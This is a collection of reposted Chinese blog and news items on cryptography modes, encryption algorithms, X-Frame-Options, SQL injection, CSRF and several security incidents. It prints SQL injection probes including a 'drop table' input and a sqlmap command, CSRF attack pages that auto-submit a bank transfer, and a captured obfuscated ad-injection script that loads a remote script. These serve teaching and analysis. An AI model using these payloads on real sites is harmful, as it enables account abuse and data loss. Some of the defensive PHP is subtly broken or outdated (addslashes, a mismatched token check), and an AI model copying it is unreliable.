CBC模式和ECB模式解读

一 什么是CBC模式 CBC模式的全称是Cipher Block Chaining模式(密文分组链接模式),之所以叫这个名字,是因为密文分组像链条一样相互连接在一起。 在CBC模式中,首先将明文分组与前一个密文分组进行XOR运算,然后再进行加密。 CBC模式加解密过程如下:      我们来比较一下ECB模式与CBC模式的区别    ECB模式只进行了加密,而CBC模式则在加密之前进行了一次XOR。 二 初始化向量 当加密第一个明文分组时,由于不存在“前一个密文分组”,因此需要事先准备一个长度为一个分组的比特序列来代替“前一个密文分组”,这个比特序列称为初始化向量(Initialization Vector),通常缩写为IV,一般来说,每次加密时都会随机产生一个不同的比特序列来作为初始化向量。 三 CBC模式的特点 明文分组在加密之前一定会与“前一个密文分组”进行XOR运算,因此即使明文分组1和明文分组2的值是相等的,密文分组1和2的值也不一定是相等的。这样一来,ECB模式的缺陷在CBC模式中就不存在了。 加密过程:在CBC模式中,无法单独对一个中间的明文分组进行加密。例如,如果要生成密文分组3,则至少需要凑齐明文分组1、2、3才行。 解密过程:假设CBC模式加密的密文分组中有一个分组损坏了。在这种情况下,只要密文分组的长度没有发生变化,则解密时最多只有2个分组受到数据损坏的影响。见下图:    假设CBC模式的密文分组中有一些比特缺失了,那么此时即便只缺失1比特,也会导致密文分组的长度发生变化,此后的分组发生错位,这样一来,缺失比特的位置之后的密文分组也就全部无法解密。见下图:    四 对CBC模式的攻击 假设主动攻击者的目的是通过修改密文来操纵解密后的明文。如果攻击者能够对初始化向量中的任意比特进行反转(将1变成0,将0变成1),则明文分组中相应的比特也会被反转。这是因为在CBC模式的解密过程中,第一个明文分组会和初始化向量进行XOR运算。见下图。    但是想对密文分组也进行同样的攻击就非常困难了。例如,如果攻击者将密文分组1中的某个比特进行反转,则明文分组2中相应比特也会被反转,然而这一比特的变化却对解密后的明文分组1中的多个比特造成了影响,也就是说,只让明文分1中所期望的特定比特发生变化是很困难的。 五 填充提示攻击 填充提示攻击是一种利用分组密码中填充部分来进行攻击的方法。在分组密码中,当明文长度不为分组长度的整数倍时,需要在最后一个分组中填充一些数据使其凑满一个分组长度。在填充提示攻击中,攻击者会反复发送一段密文,每次发送时都对填充数据进行少许改变。由于接收者(服务器)在无法正确解密时会返回一个错误消息,攻击者通过这一错误消息就可以获得一部分与明文相关的信息。这一攻击并不仅限于CBC模式,而是适用所有需要进行分组填充的模式。 2014年对SSL3.0 造成了重大影响POODLE攻击实际上就是一种填充示攻击。 六 对初始化向量(IV)进行攻击 初始化向量(IV)必须使用不可预测的随机数。然而在SSL/TLS的TLS1.0版本协议中,IV并没有使用不可预测的随机数,而是使用上一次CBC模式加密时的最后一个分组。为了防御攻击者对此进行攻击,TLS1.1以上的版本中改为了必须显示传送IV。 七 CBC模式应用 确保互联网安全的通信协议之一SSL/TLS,就是使用CBC模式来确保通信机密性的,如使用CBC模式三重DES的3DES_EDE_CBC以及CBC模式256比特AES的AES_256_CBC等。 ———————————————— 版权声明:本文为CSDN博主「cakincqm」的原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接及本声明。 原文链接:https://blog.csdn.net/chengqiuming/article/details/82288851 from:https://www.cnblogs.com/wangle1001986/p/11468419.html

Asp.Net Core实战常见加密算法(C#)

先问个问题:为什么要使用加密算法? 因为数据在网络中传输时面临4个问题: 窃听 假冒 篡改 事后否认 加密技术就是用来解决“窃听”这个问题的。通常分为两大类:对称加密和非对称加密。 对称加密 概念:对称加密就是加密和解密使用同一个密钥,通常称之为“Session Key ”,这种加密技术在当今被广泛采用,如美国政府所采用的DES加密标准就是一种典型的对称加密算法,它的Session Key长度为56bits。 优点:算法公开、计算量小、加密速度快、加密效率高。适用于需要加密大量数据的场景。 缺点:由于加解密使用同一个密钥,密钥传输的过程不安全,且容易被破解,密钥管理也比较麻烦。例如:不适用于浏览器到服务器的通信,因为密钥一旦发送到浏览器端就很容易暴露。 常见算法:AES,DES,3DES,TDEA,Blowfish,RC5,IDEA 非对称加密 概念:非对称加密就是加密和解密所使用的不是同一个密钥,通常有两个密钥,称为“公钥”和“私钥”,它们两个必需配对使用。“公钥”是指可以对外公布的,“私钥”则不能,只能由持有人一个人知道。 优点:由于加解密是用不同的密钥,私钥并不公开,这样就保证了信息在网络传输中的安全性:即使被拦截也无法解密。非常适用于客户端到服务端的数据传输。例如:支付宝的支付请求,数字签名等。 缺点:加密速度慢,比较耗资源。只适用于少量敏感信息的加密。如果加密大量消息则效率会变得低下。另外,如果动态生成公钥和私钥也比较耗资源。 常见算法:RSA,Elgamal,背包算法,Rabin,D-H,ECC   有人可能会问,上面两类加密方式怎么没有MD5?MD5……严格意义上说不是一种加密算法,因为它不能解密。它只是一种密码散列算法,只是为了校验信息用的:保证信息没有篡改。如:你下载软件或游戏时,在下载页面官方都会提供一个“MD5字符串”,你下载完成后可以用md5工具对下载到的软件md5校验,如果得到的md5串和下载页面的一致,就说明软件或游戏没有被篡改过,可放心使用。   下面我们就一块来实战几种常见的加密方式和散列算法: DES 分类:对称加密 DES全称为Data Encryption Standard,即数据加密标准,是一种使用密钥加密的块算法,1977年被美国联邦政府的国家标准局确定为联邦资料处理标准(FIPS),并授权在非密级政府通信中使用,随后该算法在国际上广泛流传开来。

  AES 分类:对称加密 高级加密标准(Advanced Encryption Standard,AES),又称Rijndael加密法,是美国联邦政府采用的一种区块加密标准。这个标准用来替代原先的DES(Data Encryption Standard),已经被多方分析且广为全世界所使用。

  RSA 分类:非对称加密 RSA是1977年由罗纳德·李维斯特(Ron Rivest)、阿迪·萨莫尔(Adi Shamir)和伦纳德·阿德曼(Leonard Adleman)一起提出的。RSA就是他们三人姓氏开头字母拼在一起组成的。RSA公开密钥密码体制是一种使用不同的加密密钥与解密密钥,“由已知加密密钥推导出解密密钥在计算上是不可行的”密码体制。

  生成公钥/密钥的方法(只适用于C#,其他编程语言使用需要转换)

    MD5 分类:散列算法 MD5信息摘要算法(MD5 Message-Digest Algorithm),一种被广泛使用的密码散列函数,可以产生出一个128位(16字节)的散列值(hash value),用于确保信息传输完整一致。MD5由美国密码学家罗纳德·李维斯特(Ronald Linn Rivest)设计,于1992年公开。1996年后该算法被证实存在弱点,可以被加以破解,对于需要高度安全性的数据,专家一般建议改用其他算法,如SHA-2。

  SHA-2 分类:散列算法 SHA-2,名称来自于安全散列算法2(英语:Secure Hash Algorithm 2)的缩写,一种密码散列函数算法标准,由美国国家安全局研发,由美国国家标准与技术研究院(NIST)在2001年发布。属于SHA算法之一,是SHA-1的后继者。其下又可再分为六个不同的算法标准,包括了:SHA-224、SHA-256、SHA-384、SHA-512、SHA-512/224、SHA-512/256。

  欢迎转载,请注明出处:龙生时代

X-Frame-Options响应头配置详解

X-Frame-Options HTTP 响应头是用来给浏览器指示允许一个页面可否在 <frame>, </iframe> 或者 <object> 中展现的标记。网站可以使用此功能,来确保自己网站的内容没有被嵌套到别人的网站中去,也从而避免了点击劫持 (clickjacking) 的攻击。 X-Frame-Options三个参数: 1、DENY 表示该页面不允许在frame中展示,即便是在相同域名的页面中嵌套也不允许。 2、SAMEORIGIN 表示该页面可以在相同域名页面的frame中展示。 3、ALLOW-FROM uri 表示该页面可以在指定来源的frame中展示。 换一句话说,如果设置为DENY,不光在别人的网站frame嵌入时会无法加载,在同域名页面中同样会无法加载。另一方面,如果设置为SAMEORIGIN,那么页面就可以在同域名页面的frame中嵌套。正常情况下我们通常使用SAMEORIGIN参数。   Apache配置 需要把下面这行添加到 'site' 的配置中

  nginx配置 需要添加到 ‘http’, ‘server’ 或者 ‘location’ 的配置项中,个人来讲喜欢配置在‘server’ 中 正常情况下都是使用SAMEORIGIN参数,允许同域嵌套

  允许单个域名iframe嵌套

  允许多个域名iframe嵌套,注意这里是用逗号分隔

  IIS配置 添加下面的配置到 ‘Web.config’文件中

  HAProxy配置 添加下面这行到 ‘front-end, listen, or backend’配置中

  Tomcat配置 在 ‘conf/web.xml’填加以下配置

  配置后如何确定X-Frame-Options是否已生效呢?我这里以Google浏览器为例,打开网站按F12键,选择Network,找到对应的Headers,如下图所示   from:https://blog.whsir.com/post-3919.html

SQL注入测试

简介 SQL 注入是一种专门针对SQL语句的攻击方式。通过把SQL命令插入到web表单提交、输入域名或者页面请求的查询字符串中,利用现有的程序,来非法获取后台的数据库中的信息。在web的测试中涉及到的会比较多些。 注入原理 存在注入的原因是后台在编写程序时,没有对用户输入的数据做过滤。 例: 1、用户在某个输入框提交的参数是123。 浏览器提交的URL为: http://www.xxx.com/index.php?id=123 服务器后台执行SQL语句:select * from table1 where id = 123 此时是没有任何影响的。   2、 如果用户提交的参数是 123;drop table 服务器后台执行SQL语句: select * from table1 where id =123 ; drop table 相当于后台执行了两条SQL语句,查表,并且把table删除, 从而导致了SQL注入   检测注入的方法 目前主要有两种检测方式: 一、手工注入检测流程: 1.  判断是否存在注入点 www.abc.com/index.php?id=2 www.abc.com/index.php?id=2 and 1=1 www.abc.com/index.php?id=2 and 1=2 第2条返回正常, 第1,3条返回不正常说明id参数存在注入漏洞 2.  判定是否存在admin表 www.abc.com/index.php?id=2 and exists(select * from admin) 返回正常,存在admin表   3.  猜admin表中的字段名 www.abc.com/index.php?id=2 and exists(select username from admin) 返回正常 表示admin表存在username字段   4.  检测其他sql操作   二、工具检测: sqlmap:  sqlmap是一个开源的渗透测试工具,可以用来进行自动化检测,利用SQL注入漏洞,获取数据库服务器的权限。   1. 下载地址 https://github.com/sqlmapproject/sqlmap.git   2. 常用命令       测试 以一个sqlmap检测URL为例:   1. 检测过程:        2. 检测结果: 可知该次注入检测没有成功。   防止sql注入代码:(1)修改php.ini magic_quotes_gpc=Off,打开开关,不常用; (2)获取到参数后,调用$username = addslashes($username); 说明:string addslashes ( string $str ) 返回字符串,该字符串为了数据库查询语句等的需要在某些字符前加上了反斜线。这些字符是单引号(’)、双引号(")、反斜线(\)与 NUL( NULL 字符)。 举例:用户在name中输入' or 1=1#,其中#是sql中的注释,#会过滤sql中的where校验等,而or 1=1恒真,就会造成返回所有用户列表。 (3)mysql_escape_string();原理和(2)差不多; 总结: 登录防sql注入的方法: 1、修改php.ini配置文件中magic_quotes_gpc=On (用单引号引用用户输入的数据)(不实用) 2、使用函数addSlashes() (在预定义字符之前添加反斜杠) 3、使用mysql_escape_string() (在SQL语句特殊字符前添加反斜杠) 拓展: https://www.oschina.net/translate/sql-injection-walkthrought   from:https://www.cnblogs.com/uniquesnail/p/12485216.html   光子:sqlmap.py -u "http……" --batch --tables --flush-session

PHP 现反序列化漏洞,或使 WordPress 遭远程攻击

英国安全公司 Secarma 的研究主管 Sam Thomas 本月在 Black Hat 和 BSides 安全会议上展示了 PHP 编程语言的安全漏洞,并指出该漏洞影响了所有接受用户资料的 PHP 应用程序和库,包括 WordPress 等内容管理系统(CMS),并将允许远程程序攻击。 序列化(Serialization)与反序列化(Deserialization)是所有编程语言都具备的功能,序列化将对象转换为字符串,以将数据迁移到不同服务器,服务或应用程序上,然后通过反序列将字符串还原到对象。 安全研究员 Stefan Essar 在 2009 年就透露了 PHP 中反序列化黑客控制的数据带来的风险,而相关的漏洞不仅存在于 PHP 中,还存在于其他编程语言中。 Thomas 公布的是 PHP 的新攻击技术,可用于各种场景,例如 XML External Entity(XEE)漏洞或服务器端伪造请求(SSFR)漏洞等。 Thomas 表示,过去外界认为 XXE 漏洞带来的最大问题是信息外泄,但现在可出发程序执行。相关攻击分为两个阶段。 首先,将包含恶意对象的 Phar 存档上传到攻击目标的本地文件系统,然后触发一个基于 phar:// 的文件操作,就可能导致恶意程序执行。 Thomas 已利用 PHP 的反序列化程序成功攻击了 WordPress 与 Typo3 内容管理平台,以及 Contao 所采用的 TCPDF 库。   from:https://www.oschina.net/news/99165/php-unserialization-vulnerability

浅谈CSRF攻击方式

一.CSRF是什么? CSRF(Cross-site request forgery),中文名称:跨站请求伪造,也被称为:one click attack/session riding,缩写为:CSRF/XSRF。   二.CSRF可以做什么? 你这可以这么理解CSRF攻击:攻击者盗用了你的身份,以你的名义发送恶意请求。CSRF能够做的事情包括:以你名义发送邮件,发消息,盗取你的账号,甚至于购买商品,虚拟货币转账……造成的问题包括:个人隐私泄露以及财产安全。   三.CSRF漏洞现状 CSRF这种攻击方式在2000年已经被国外的安全人员提出,但在国内,直到06年才开始被关注,08年,国内外的多个大型社区和交互网站分别爆出CSRF漏洞,如:NYTimes.com(纽约时报)、Metafilter(一个大型的BLOG网站),YouTube和百度HI……而现在,互联网上的许多站点仍对此毫无防备,以至于安全业界称CSRF为“沉睡的巨人”。   四.CSRF的原理 下图简单阐述了CSRF攻击的思想: 从上图可以看出,要完成一次CSRF攻击,受害者必须依次完成两个步骤: 1.登录受信任网站A,并在本地生成Cookie。 2.在不登出A的情况下,访问危险网站B。 看到这里,你也许会说:“如果我不满足以上两个条件中的一个,我就不会受到CSRF的攻击”。是的,确实如此,但你不能保证以下情况不会发生: 1.你不能保证你登录了一个网站后,不再打开一个tab页面并访问另外的网站。 2.你不能保证你关闭浏览器了后,你本地的Cookie立刻过期,你上次的会话已经结束。(事实上,关闭浏览器不能结束一个会话,但大多数人都会错误的认为关闭浏览器就等于退出登录/结束会话了……) 3.上图中所谓的攻击网站,可能是一个存在其他漏洞的可信任的经常被人访问的网站。   上面大概地讲了一下CSRF攻击的思想,下面我将用几个例子详细说说具体的CSRF攻击,这里我以一个银行转账的操作作为例子(仅仅是例子,真实的银行网站没这么傻:>)   示例1: 银行网站A,它以GET请求来完成银行转账的操作,如:http://www.mybank.com/Transfer.php?toBankId=11&money=1000 危险网站B,它里面有一段HTML的代码如下:   <img src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000> 首先,你登录了银行网站A,然后访问危险网站B,噢,这时你会发现你的银行账户少了1000块…… 为什么会这样呢?原因是银行网站A违反了HTTP规范,使用GET请求更新资源。在访问危险网站B的之前,你已经登录了银行网站A,而B中的<img>以GET的方式请求第三方资源(这里的第三方就是指银行网站了,原本这是一个合法的请求,但这里被不法分子利用了),所以你的浏览器会带上你的银行网站A的Cookie发出Get请求,去获取资源“http://www.mybank.com/Transfer.php?toBankId=11&money=1000”,结果银行网站服务器收到请求后,认为这是一个更新资源操作(转账操作),所以就立刻进行转账操作…… 示例2: 为了杜绝上面的问题,银行决定改用POST请求完成转账操作。 银行网站A的WEB表单如下:   <form action="Transfer.php" method="POST"> <p>ToBankId: <input type="text" name="toBankId" /></p> <p>Money: <input type="text" name="money" /></p> <p><input type="submit" value="Transfer" /></p> </form> 后台处理页面Transfer.php如下: <?php session_start(); if (isset($_REQUEST['toBankId'] && isset($_REQUEST['money'])) { buy_stocks($_REQUEST['toBankId'], $_REQUEST['money']); } ?> 危险网站B,仍然只是包含那句HTML代码:   <img src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000> 和示例1中的操作一样,你首先登录了银行网站A,然后访问危险网站B,结果…..和示例1一样,你再次没了1000块~T_T,这次事故的原因是:银行后台使用了$_REQUEST去获取请求的数据,而$_REQUEST既可以获取GET请求的数据,也可以获取POST请求的数据,这就造成了在后台处理程序无法区分这到底是GET请求的数据还是POST请求的数据。在PHP中,可以使用$_GET和$_POST分别获取GET请求和POST请求的数据。在JAVA中,用于获取请求数据request一样存在不能区分GET请求数据和POST数据的问题。 示例3: 经过前面2个惨痛的教训,银行决定把获取请求数据的方法也改了,改用$_POST,只获取POST请求的数据,后台处理页面Transfer.php代码如下: <?php session_start(); if (isset($_POST['toBankId'] && isset($_POST['money'])) { buy_stocks($_POST['toBankId'], $_POST['money']); } ?> 然而,危险网站B与时俱进,它改了一下代码: <html> <head> <script type="text/javascript"> function steal() { iframe = document.frames["steal"]; iframe.document.Submit("transfer"); } </script> </head> <body onload="steal()"> <iframe name="steal" display="none"> <form method="POST" name="transfer" action="http://www.myBank.com/Transfer.php"> <input type="hidden" name="toBankId" value="11"> <input type="hidden" name="money" value="1000"> </form> </iframe> </body> </html> 如果用户仍是继续上面的操作,很不幸,结果将会是再次不见1000块……因为这里危险网站B暗地里发送了POST请求到银行! 总结一下上面3个例子,CSRF主要的攻击模式基本上是以上的3种,其中以第1,2种最为严重,因为触发条件很简单,一个<img>就可以了,而第3种比较麻烦,需要使用JavaScript,所以使用的机会会比前面的少很多,但无论是哪种情况,只要触发了CSRF攻击,后果都有可能很严重。 理解上面的3种攻击模式,其实可以看出,CSRF攻击是源于WEB的隐式身份验证机制!WEB的身份验证机制虽然可以保证一个请求是来自于某个用户的浏览器,但却无法保证该请求是用户批准发送的! 五.CSRF的防御 我总结了一下看到的资料,CSRF的防御可以从服务端和客户端两方面着手,防御效果是从服务端着手效果比较好,现在一般的CSRF防御也都在服务端进行。 1.服务端进行CSRF防御 服务端的CSRF方式方法很多样,但总的思想都是一致的,就是在客户端页面增加伪随机数。 (1).Cookie Hashing(所有表单都包含同一个伪随机值): 这可能是最简单的解决方案了,因为攻击者不能获得第三方的Cookie(理论上),所以表单中的数据也就构造失败了:>   <?php //构造加密的Cookie信息 $value = “DefenseSCRF”; setcookie(”cookie”, $value, time()+3600); ?> 在表单里增加Hash值,以认证这确实是用户发送的请求。 <?php $hash = md5($_COOKIE['cookie']); ?> <form method=”POST” action=”transfer.php”> <input type=”text” name=”toBankId”> <input type=”text” name=”money”> <input type=”hidden” name=”hash” value=”<?=$hash;?>”> <input type=”submit” name=”submit” value=”Submit”> </form> 然后在服务器端进行Hash值验证 <?php if(isset($_POST['check'])) { $hash = md5($_COOKIE['cookie']); if($_POST['check'] == $hash) { doJob(); } else { //… } } else { //… } ?> 这个方法个人觉得已经可以杜绝99%的CSRF攻击了,那还有1%呢….由于用户的Cookie很容易由于网站的XSS漏洞而被盗取,这就另外的1%。一般的攻击者看到有需要算Hash值,基本都会放弃了,某些除外,所以如果需要100%的杜绝,这个不是最好的方法。 (2).验证码 这个方案的思路是:每次的用户提交都需要用户在表单中填写一个图片上的随机字符串,厄….这个方案可以完全解决CSRF,但个人觉得在易用性方面似乎不是太好,还有听闻是验证码图片的使用涉及了一个被称为MHTML的Bug,可能在某些版本的微软IE中受影响。 (3).One-Time Tokens(不同的表单包含一个不同的伪随机值) 在实现One-Time Tokens时,需要注意一点:就是“并行会话的兼容”。如果用户在一个站点上同时打开了两个不同的表单,CSRF保护措施不应该影响到他对任何表单的提交。考虑一下如果每次表单被装入时站点生成一个伪随机值来覆盖以前的伪随机值将会发生什么情况:用户只能成功地提交他最后打开的表单,因为所有其他的表单都含有非法的伪随机值。必须小心操作以确保CSRF保护措施不会影响选项卡式的浏览或者利用多个浏览器窗口浏览一个站点。 以下我的实现: 1).先是令牌生成函数(gen_token()): <?php function gen_token() { //这里我是贪方便,实际上单使用Rand()得出的随机数作为令牌,也是不安全的。 //这个可以参考我写的Findbugs笔记中的《Random object created and used only once》 $token = md5(uniqid(rand(), true)); return $token; }   2).然后是Session令牌生成函数(gen_stoken()): <?php function gen_stoken() { $pToken = ""; if($_SESSION[STOKEN_NAME]  == $pToken){ //没有值,赋新值 $_SESSION[STOKEN_NAME] = gen_token(); } else{ //继续使用旧的值 } } ?> 3).WEB表单生成隐藏输入域的函数: <?php function gen_input() { gen_stoken(); echo “<input type=\”hidden\” name=\”" . FTOKEN_NAME . “\” value=\”" . $_SESSION[STOKEN_NAME] . “\”> “; } ?> 4).WEB表单结构: <?php session_start(); include(”functions.php”); ?> <form method=”POST” action=”transfer.php”> <input type=”text” name=”toBankId”> <input type=”text” name=”money”> <? gen_input(); ?> <input type=”submit” name=”submit” value=”Submit”> </FORM> 5).服务端核对令牌: 这个很简单,这里就不再啰嗦了。 上面这个其实不完全符合“并行会话的兼容”的规则,大家可以在此基础上修改。   其实还有很多想写,无奈精力有限,暂且打住,日后补充,如果错漏,请指出:> PS:今天下午写这篇文档的时候FF崩溃了一次,写了一半文章的全没了,郁闷好久T_T……. 转载请说明出处,谢谢[hyddd(http://www.cnblogs.com/hyddd/)] 六.参考文献 [1].Preventing CSRF [2].Security Corner: Cross-Site Request Forgeries [3].《深入解析跨站请求伪造漏洞:原理剖析》 [4].《Web安全测试之跨站请求伪造(CSRF)》 [5].《深入解析跨站请求伪造漏洞:实例讲解》 [6].http://baike.baidu.com/view/1609487.htm   from:http://www.cnblogs.com/hyddd/archive/2009/04/09/1432744.html

PowerShell DSC and implicit remoting broken in KB3176934

On August 23, Windows update KB3176934 released for Windows Client. Due to a missing .MOF file in the build package, the update breaks DSC. All DSC operations will result in an “Invalid Property” error. In addition, due to a missing binary in the build package the update breaks PowerShell implicit remoting. Implicit remoting is a PowerShell feature where PowerShell commands work on a remote session instead of locally. Specifically, importing a remote session no longer works: $remoteSession = New-PSSession -Cn TargetComputer Import-PSSession -Session $remoteSession Import-PSSession : Could not load type ‘System.Management.Automation.SecuritySupport’ from assembly ‘System.Management.Automation, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35’. To prevent these issues take the following actions: If you are using DSC from or on any Windows client, take the following steps: Uninstall the update if already installed. From elevated PowerShell prompt type wusa /uninstall /kb:3176934 If using WSUS, do not approve the update. Otherwise, Use Group Policy to set the ‘Configure Automatic Updates’ to ‘2 – Notify for download and notify for install’ as described in this Microsoft Support article. A fix for this issue will be included in the next Windows update which is due out 8/30/2016. We apologize for any inconvenience that this might cause. Regards, The PowerShell Team   from:https://blogs.msdn.microsoft.com/powershell/2016/08/23/powershell-dsc-broken-in-kb3176932/

Windows 10 最新更新破坏了 PowerShell 功能

Windows 10最新更新KB 3176934被发现破坏了PowerShell的状态配置功能。微软的Windows PowerShell 官方博客确认了这一消息。 微软称构建包丢失了一个 .MOF文件,破坏了状态配置,所有状态配置操作都会返回无效属性错误。微软给出的解决方法是:卸载该补丁,或者是等待即将在8月30日释出的补丁修复该 补丁导致的问题。Windows 10的更新最近被曝出了一连串的问题。   from:http://www.oschina.net/news/76520/windows-10-powershell

Mozilla 考虑对沃通 CA 采取行动

在Mozilla安全邮件列表上,开发者 Gervase Markham发帖称,多起与沃通CA(WoSign)相关的事故引起了他们的注意,Mozilla正考虑是否对沃通CA采取行动。Markham谈论了三起事故:2015年4月23日左右,沃通CA允许免费证书申请者选择任意端口验证,违反了限制端口和路径使用的规定; 2015年6月,免费证书申请者发现如果他们能证明控制了子 域名那么就能获得基础域名(Base Domain)的证书,如证明控制了theiraccount.github.com/theiraccount.github.io等子域名得到了 github.com、github.io和 www.github.io的证书;2016年7月,与沃通CA有关联的StartCom CA被发现允许证书倒填日期,倒填日期能绕过浏览器对SHA-1算法的限制。Mozilla可能采取的行动包括吊销沃通CA证书。沃通CA是中国最大的 SSL证书发行商之一,它声称中国市场每3张SSL证书中就有1张由沃通CA签发,如果吊销沃通CA证书,可能将会影响很多中国网站。   from:http://www.oschina.net/news/76521/mozilla-wosign-ca

LastPass 曝 0day 漏洞,账号能被恶意网站访问

Google Project Zero 黑客 Tavis Ormandy 报告在流行密码管理工具 LastPass 中发现了一个高危0day 漏洞,允许恶意网站完整访问用户的账号。漏洞已经报告给了 LastPass,细节没有披露。巧合的是另一位安全研究人员 Mathias Karlsson 也报告了 LastPass 的一个类似漏洞,目前还不清楚两个漏洞是否相同。 Karlsson 在其博客上描述了他的发现:LastPass的密码自动填写功能存在bug,允许恶意网站欺骗 LastPass 相信它是另一个网站比如Twitter,窃取用户登录凭证。Karlsson建议用户关闭自动填写功能。LastPass称它已经修复了漏洞,漏洞主要影响 Firefox 用户。 相关链接 Lastpass 的详细介绍:请点这里 Lastpass 的下载地址:请点这里   from:http://www.oschina.net/news/75639/lastpass-0day-bug

到底是谁在挂广告?

今天发现公司网站和客户的网站偶尔会出现白页,单击右键却看到一段代码: <html><head></head><body><script>!function(){function a(){var a=new Date;a.setTime(a.getTime()+6e4),document.cookie="sessioned=1;expires="+a.toUTCString()}function b(b){a(),setTimeout(function(){location.href=location.href},b)}var d,e,f,c=1e4;try{if(!/sessioned=1/.test(document.cookie)){a(),e=document.createElement("script"),f=!1,e.src="//matchdp.sankuai.cn.shuyang5.com/fw0709/gg.js?1",d=new XMLHttpRequest,d.open("GET",window.location,!0),d.setRequestHeader("X-Requested-With","XMLHttpRequest");try{d.timeout=c}catch(g){}d.send(),d.onreadystatechange=function(){try{if(4==d.readyState){if(200!=d.status||"text/html"!=d.getResponseHeader("Content-Type"))throw"";text=d.responseText.replace(/<\/body>/i,e.outerHTML+"</body>"),document.open("text/html","replace"),document.write(text),setTimeout(function(){document.close()},1e3),f=!0}}catch(a){b(100)}}}}catch(g){b(150)}finally{setTimeout(function(){f||b(1)},c+1e3)}}();</script></body></html> 目测广告的机率比较大,决定找一下源头: 1.shuyang5.com的所有者是:jinmi.com 2.jinmi.com的所有者安徽合肥的个人 3.通过时一步分析发现了另一个页面:http://matchdp.sankuai.cn.shuyang5.com/tj/mltj2.html;并且上面有站长统计,点击后显示此站点叫“简单点”,估计站长站是知道这是谁的站点的。 4.以上页面的服务器用的都是阿里云(139.129.99.6)的,我N个阿里云的服务器均出现这个现象。看来阿里云技术的嫌疑大些。 5.通过IP反查又找到了另外的站点:http://cpro.jian123.com/lm6.html <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <meta name="keywords" content="联盟"> <meta name="description" content="联盟"> </head> <body> <div id="main"> <script async src="//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"></script> <!— 300*250新 —> <ins class="adsbygoogle" style="display:inline-block;width:300px;height:250px" data-ad-client="ca-pub-7963971038590542" data-ad-slot="8049044918"></ins> <script> (adsbygoogle = window.adsbygoogle || []).push({}); </script> </body> </html> 通过对其代码的分析,是挂广告赚钱无疑。 无耐水平有限,只找到这些线索。有兴趣的朋友,欢迎交流~

攻击者开始利用 ImageMagick 漏洞攻击网站

安全研究人员称,攻击者没有浪费一点时间,开始利用刚刚曝出的ImageMagick高危漏洞去执行恶意代码以控制网站的Web服务器。ImageMagick是一个广泛使用的图像处理库,它的一个高危漏洞允许远程代码执行,攻击者上传植入恶意代码的图像,Web服务器在处理时能被利用执行攻击者选择的代码。开发者尚未释出修正漏洞的补丁。CloudFlare的研究员 John Graham-Cumming在官方博客上称,攻击者正在利用该漏洞攻击网站。   from:http://www.oschina.net/news/73296/inside-imagetragick-the-real-payloads-used-to-hack-websites